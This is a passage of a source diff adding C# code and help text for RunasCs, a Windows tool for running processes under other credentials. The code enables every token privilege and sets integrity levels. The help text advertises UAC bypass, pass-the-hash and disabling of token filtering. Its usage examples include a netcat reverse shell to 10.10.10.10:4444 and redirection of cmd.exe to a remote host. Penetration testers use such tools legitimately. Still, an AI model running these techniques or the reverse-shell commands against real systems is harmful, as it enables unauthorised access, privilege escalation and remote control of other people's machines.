tokenInfLength)) + throw new RunasCsException("GetTokenInformation TokenElevation", true); + TOKEN_ELEVATION tokenElevation = (TOKEN_ELEVATION)Marshal.PtrToStructure(tokenElevationPtr, typeof(TOKEN_ELEVATION)); + if (tokenElevation.TokenIsElevated > 0) { + tokenIsFiltered = false; + Marshal.FreeHGlobal(tokenElevationPtr); + } + else { + tokenInfLength = 0; + GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, IntPtr.Zero, tokenInfLength, out tokenInfLength); + IntPtr tokenElevationTypePtr = Marshal.AllocHGlobal(tokenInfLength); + if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, tokenElevationTypePtr, tokenInfLength, out tokenInfLength)) + throw new RunasCsException("GetTokenInformation TokenElevationType", true); + TOKEN_ELEVATION_TYPE tokenElevationType = (TOKEN_ELEVATION_TYPE)Marshal.PtrToStructure(tokenElevationTypePtr, typeof(TOKEN_ELEVATION_TYPE)); + if (tokenElevationType.TokenElevationType == 3) // 3 = TokenElevationTypeLimited + tokenIsFiltered = true; + Marshal.FreeHGlobal(tokenElevationTypePtr); + } + return tokenIsFiltered; + } + + // thanks @winlogon0 --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs + public static bool SetTokenIntegrityLevel(IntPtr hToken, IntegrityLevel integrity) + { + bool ret = false; + IntPtr pLabelAuthorityStruct; + IntPtr pSID; + IntPtr pLabel; + int labelSize; + TOKEN_MANDATORY_LABEL tokenLabel = new TOKEN_MANDATORY_LABEL(); + SID_IDENTIFIER_AUTHORITY authoritySid = new SID_IDENTIFIER_AUTHORITY(); + authoritySid.Value = MANDATORY_LABEL_AUTHORITY; + pLabelAuthorityStruct = Marshal.AllocHGlobal(Marshal.SizeOf(authoritySid)); + Marshal.StructureToPtr(authoritySid, pLabelAuthorityStruct, false); + bool result = AllocateAndInitializeSid(pLabelAuthorityStruct, 1, (int)integrity, 0, 0, 0, 0, 0, 0, 0, out pSID); + tokenLabel.Label.pSID = pSID; + tokenLabel.Label.Attributes = TokenGroupAttributes.SE_GROUP_INTEGRITY; + labelSize = Marshal.SizeOf(tokenLabel); + pLabel = Marshal.AllocHGlobal(labelSize); + Marshal.StructureToPtr(tokenLabel, pLabel, false); + result = SetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pLabel, labelSize); + Marshal.FreeHGlobal(pLabel); + Marshal.FreeHGlobal(pSID); + Marshal.FreeHGlobal(pLabelAuthorityStruct); + if (!result) + throw new RunasCsException("[!] Failed to set the token's Integrity Level: " + integrity.ToString()); + else + ret = true; + return ret; + } + + public static IntegrityLevel GetTokenIntegrityLevel(IntPtr hToken) + { + IntegrityLevel illevel = IntegrityLevel.Unknown; + IntPtr pb = Marshal.AllocHGlobal(1000); + uint cb = 1000; + if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pb, cb, out cb)) + { + IntPtr pSid = Marshal.ReadIntPtr(pb); + int dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U))); + if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) + { + return IntegrityLevel.Low; + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) + { + // Medium Integrity + return IntegrityLevel.Medium; + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) + { + // High Integrity + return IntegrityLevel.High; + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) + { + // System Integrity + return IntegrityLevel.System; + } + return IntegrityLevel.Unknown; + } + Marshal.FreeHGlobal(pb); + return illevel; + } + + public static string EnablePrivilege(string privilege, IntPtr token) + { + string output = ""; + LUID sebLuid = new LUID(); + TOKEN_PRIVILEGES_2 tokenp = new TOKEN_PRIVILEGES_2(); + tokenp.PrivilegeCount = 1; + LookupPrivilegeValue(null, privilege, ref sebLuid); + tokenp.Luid = sebLuid; + tokenp.Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)) + { + throw new RunasCsException("AdjustTokenPrivileges on privilege " + privilege, true); + } + output += "\r\nAdjustTokenPrivileges on privilege " + privilege + " succeeded"; + return output; + } + + public static string EnableAllPrivileges(IntPtr token) + { + string output = ""; + string[] privileges = { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeDelegateSessionUserImpersonatePrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" }; + foreach (string privilege in privileges) + { + output += EnablePrivilege(privilege, token); + } + return output; + } + +} + +public static class RunasCsMainClass +{ + private static readonly string help = @" +RunasCs v1.5 - @splinter_code + +Usage: + RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation] [--pth] [--disable-token-filtering] + +Description: + RunasCs is an utility to run specific processes under a different user account + by specifying explicit credentials. In contrast to the default runas.exe command + it supports different logon types and CreateProcess* functions to be used, depending + on your current permissions. Furthermore it allows input/output redirection (even + to remote hosts) and you can specify the password directly on the command line. + +Positional arguments: + username username of the user + password password of the user + cmd commandline for the process + +Optional arguments: + -d, --domain domain + domain of the user, if in a domain. + Default: """" + -f, --function create_process_function + CreateProcess function to use. When not specified + RunasCs determines an appropriate CreateProcess + function automatically according to your privileges. + 0 - CreateProcessAsUserW + 1 - CreateProcessWithTokenW + 2 - CreateProcessWithLogonW + -l, --logon-type logon_type + the logon type for the token of the new process. + Default: ""2"" - Interactive + -t, --timeout process_timeout + the waiting time (in ms) for the created process. + This will halt RunasCs until the spawned process + ends and sent the output back to the caller. + If you set 0 no output will be retrieved and a + background process will be created. + Default: ""120000"" + -r, --remote host:port + redirect stdin, stdout and stderr to a remote host. + Using this option sets the process_timeout to 0. + -p, --force-profile + force the creation of the user profile on the machine. + This will ensure the process will have the + environment variables correctly set. + WARNING: If non-existent, it creates the user profile + directory in the C:\Users folder. + -b, --bypass-uac + try a UAC bypass to spawn a process without + token limitations (not filtered). + -i, --remote-impersonation + spawn a new process and assign the token of the + logged on user to the main thread. + --pth + consider the input password as a nt hash and perform pass-the-hash instead. + --disable-token-filtering + disable token filtering when doing pass-the-hash + if the target user is an administrator and that option is not set the + process won't run as an elevated process. + +Examples: + Run a command as a local user + RunasCs.exe user1 password1 ""cmd /c whoami /all"" + Run a command as a domain user and logon type as NetworkCleartext (8) + RunasCs.exe user1 password1 ""cmd /c whoami /all"" -d domain -l 8 + Run a background process as a local user, + RunasCs.exe user1 password1 ""C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe"" -t 0 + Redirect stdin, stdout and stderr of the specified command to a remote host + RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444 + Run a command simulating the /netonly flag of runas.exe + RunasCs.exe user1 password1 ""cmd /c whoami /all"" -l 9 + Run a command as an Administrator bypassing UAC + RunasCs.exe adm1 password1 ""cmd /c whoami /priv"" --bypass-uac + Run a command as an Administrator through remote impersonation + RunasCs.exe adm1 password1 ""cmd /c echo admin > C:\Windows\admin"" -l 8 --remote-impersonation + Run a command using pass the hash + RunasCs.exe user1 5835048ce94ad0564e29a924a03510ef ""cmd /c whoami /all"" --pth + Run a command using pass the hash and elevated (otherwise not all privileges are set) + RunasCs.exe user1 5835048ce94ad0564e29a924a03510ef ""cmd /c whoami /all"" --pth --disable-token-filtering +"; + + // .NETv2 does not allow dict initialization with values. Therefore, we need a function :( + private static Dictionary getLogonTypeDict() + { + Dictionary logonTypes = new Dictionary(); + logonTypes.Add(2, "Interactive"); + logonTypes.Add(3, "Network"); + logonTypes.Add(4, "Batch"); + logonTypes.Add(5, "Service"); + logonTypes.Add(7, "Unlock"); + logonTypes.Add(8, "NetworkCleartext"); + logonTypes.Add(9, "NewCredentials"); + logonTypes.Add(10,"RemoteInteractive"); + logonTypes.Add(11,"CachedInteractive"); + return logonTypes; + } + + // .NETv2 does not allow dict initialization with values. Therefore, we need a function :( + private static Dictionary getCreateProcessFunctionDict() + { + Dictionary createProcessFunctions = new Dictionary(); + createProcessFunctions.Add(0, "CreateProcessAsUserW"); + createProcessFunctions.Add(1, "CreateProcessWithTokenW"); + createProcessFunctions.Add(2, "CreateProcessWithLogonW"); + return createProcessFunctions; + } + + private static bool HelpRequired(string param) + { + return param == "-h" || param == "--help" || param == "/?"; + } + + private static uint ValidateProcessTimeout(string timeout) + { + uint processTimeout = 120000; + try { + processTimeout = Convert.ToUInt32(timeout); + } + catch { + throw new RunasCsException("Invalid process_timeout value: " + timeout); + } + return processTimeout; + } + + private static string[] ValidateRemote(string remote) + { + string[] split = remote.Split(':'); + if( split.Length != 2 ) { + string error = "Invalid remote value: " + remote + "\r\n"; + error += "[-] Expected format: 'host:port'"; + throw new RunasCsException(error); + } + return split; + } + + private static int ValidateLogonType(string type) + { + int logonType = 3; + Dictionary logonTypes = getLogonTypeDict(); + + try { + logonType = Convert.ToInt32(type); + if( !logonTypes.ContainsKey(logonType) ) { + throw new System.ArgumentException(""); + } + } + catch { + string error = "Invalid logon_type value: " + type + "\r\n"; + error += "[-] Allowed values are:\r\n"; + foreach(KeyValuePair item in logonTypes) { + error += String.Format("[-] {0}\t{1}\r\n", item.Key, item.Value); + } + throw new RunasCsException(error); + } + return logonType; + } + + private static int ValidateCreateProcessFunction(string function) + { + int createProcessFunction = 2; + Dictionary createProcessFunctions = getCreateProcessFunctionDict(); + try { + createProcessFunction = Convert.ToInt32(function); + if( createProcessFunction < 0 || createProcessFunction > 2 ) { + throw new System.ArgumentException(""); + } + } + catch { + string error = "Invalid createProcess function: " + function + "\r\n"; + error += "[-] Allowed values are:\r\n"; + foreach(KeyValuePair item in createProcessFunctions) { + error += String.Format("[-] {0}\t{1}\r\n", item.Key, item.Value); + } + throw new RunasCsException(error); + } + return createProcessFunction; + } + + private static int DefaultCreateProcessFunction(bool pth, bool remoteImpersonation) + { + int createProcessFunction = 2; + IntPtr currentTokenHandle = WindowsIdentity.GetCurrent().Token; + List privs = new List(); + privs = AccessToken.GetTokenPrivileges(currentTokenHandle); + bool SeAssignPrimaryTokenPrivilegeAssigned = false; + bool SeImpersonatePrivilegeAssigned = false; + foreach (string[] s in privs) + { + string privilege = s[0]; + if(privilege == "SeAssignPrimaryTokenPrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.Medium) + SeAssignPrimaryTokenPrivilegeAssigned = true; + if(privilege == "SeImpersonatePrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.High) + SeImpersonatePrivilegeAssigned = true; + } + if (SeAssignPrimaryTokenPrivilegeAssigned) + createProcessFunction = 0; + else if (SeImpersonatePrivilegeAssigned) + createProcessFunction = 1; + else if (!pth) + createProcessFunction = 2; + else if (!remoteImpersonation) + throw new RunasCsException("it will be impossible to create a process using a primary token that impersonates the user, try with --remote-impersonation"); + + return createProcessFunction; + } + + public static string RunasCsMain(string[] args) + { + if (args.Length == 1 && HelpRequired(args[0])) + { + Console.Out.Write(help); + return ""; + } + string output = "", function = ""; + List positionals = new List(); + string username, password, cmd, domain; + username = password = cmd = domain = string.Empty; + string[] remote = null; + uint processTimeout = 120000; + int logonType = 2; + bool forceUserProfileCreation = false, bypassUac = false, remoteImpersonation = false, passTheHash = false, disableTokenFiltering = false; + + try { + for(int ctr = 0; ctr < args.Length; ctr++) { + switch (args[ctr]) + { + + case "-d": + case "--domain": + domain = args[++ctr]; + break; + + case "-t": + case "--timeout": + processTimeout = ValidateProcessTimeout(args[++ctr]); + break; + + case "-l": + case "--logon-type": + logonType = ValidateLogonType(args[++ctr]); + break; + + case "-f": + case "--function": + function = args[++ctr]; + break; + + case "-r": + case "--remote": + remote = ValidateRemote(args[++ctr]); + break; + + case "-p": + case "--force-profile": + forceUserProfileCreation = true; + break; + + case "-b": + case "--bypass-uac": + bypassUac = true; + break; + + case "-i": + case "--remote-impersonation": + remoteImpersonation = true; + break; + + case "--pth": + passTheHash = true; + break; + + case "--disable-token-filtering": + disableTokenFiltering = true; + break; + + default: + positionals.Add(args[ctr]); + break; + } + } + } catch(System.IndexOutOfRangeException) { + return "[-] Invalid arguments. Use --help for additional help."; + } catch(RunasCsException e) { + return String.Format("{0}", e.Message); + } + + if( positionals.Count < 3 ) { + return "[-] Not enough arguments. 3 Arguments required. Use --help for additional help."; + } + + int createProcessFunction = 2; + if (function != "") + { + createProcessFunction = ValidateCreateProcessFunction(function); + } + else + { + try + { + createProcessFunction = DefaultCreateProcessFunction(passTheHash, remoteImpersonation); + } + catch (RunasCsException e) + { + Console.Out.Write(e.Message); + return ""; + } + } + + username = positionals[0]; + password = positionals[1]; + cmd = positionals[2]; + + if( remote != null ) { + processTimeout = 0; + } + + RunasCs invoker = new RunasCs(); + try { + output = invoker.RunAs(username, password, cmd, domain, processTimeout, logonType, createProcessFunction, remote, forceUserProfileCreation, bypassUac, remoteImpersonation, passTheHash, disableTokenFiltering); + } catch(RunasCsException e) { + invoker.CleanupHandles(); + output = String.Format("{0}", e.Message); + } + + return output; + } +} + +class MainClass +{ + static void Main(string[] args) + { + Console.Out.Write(RunasCsMainClass.RunasCsMain(args)); + Console.Out.Flush(); + } +} +